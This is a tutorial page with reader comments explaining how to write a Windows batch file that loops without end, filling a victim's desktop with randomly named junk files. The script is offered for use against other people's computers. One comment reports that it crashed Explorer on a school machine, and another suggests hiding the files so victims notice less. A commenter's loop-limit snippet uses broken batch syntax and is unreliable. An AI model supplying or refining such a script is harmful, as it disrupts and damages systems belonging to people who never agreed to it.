Batch Files

This is how to create a batch file that creates lots of files on the victims desktop.

Teacher Notes

Teachers! Did you use this instructable in your classroom?
Add a Teacher Note to share how you incorporated it into your lesson.

Step 1: Step 1

Goto start then click run and type notepad

Step 2: Setp 2

in notepad type:

@echo off
:A
cd %current%
echo >%random%.%random%
goto A

Step 3: Step 3

click file then click save as and save it as any thing you wan't.bat it has to end with .bat or it won't work. and choose all files.

Step 4: Step 4

Command Prompt will come up just leave it for a while then close it and there will be lots of files on their desktop!!!!! It will give them random names like this 3437.7830. It will always have the dot in the middle.

Be the First to Share

    Recommendations

    • Made with Math Contest

      Made with Math Contest
    • Multi-Discipline Contest

      Multi-Discipline Contest
    • Robotics Contest

      Robotics Contest

    13 Discussions

    0
    None
    randofo

    11 years ago

    Hey, this is a great instructable and is very informative. Just one thing is missing... pictures! It really helps a lot when trying to follow directions so you should consider taking some photographs. Once you do that and leave me a message when you have so that we can publish your work. Thanks! Thanks for the cool instructable and we hope to publish this soon!

    2 replies
    0
    None
    Governor Keagan

    3 years ago

    Great instructable. Wouldn't it be better to place the files somewhere - change directory - making it harder for them to know.

    0
    None
    vhermansson

    4 years ago on Introduction

    I used this on a school computer and eventualy it chrashed the explorer. Now we can't get it to work...Any idea how to fix this?

    0
    None
    Stan2000

    5 years ago

    You can also get rid of the point in the created file names by changing
    %random%.%random% into %random%%random

    0
    None
    Stan2000

    5 years ago

    XOIIO you can control how many copies it will make by adding something like this:

    Set/p %loop%=1
    :1
    Blablabla
    Set/p %loop%=+1
    If %loop%=100 goto 2
    Goto 1
    :2
    Exit

    0
    None
    XOIIO

    10 years ago on Introduction

    Can you control how many copies it makes?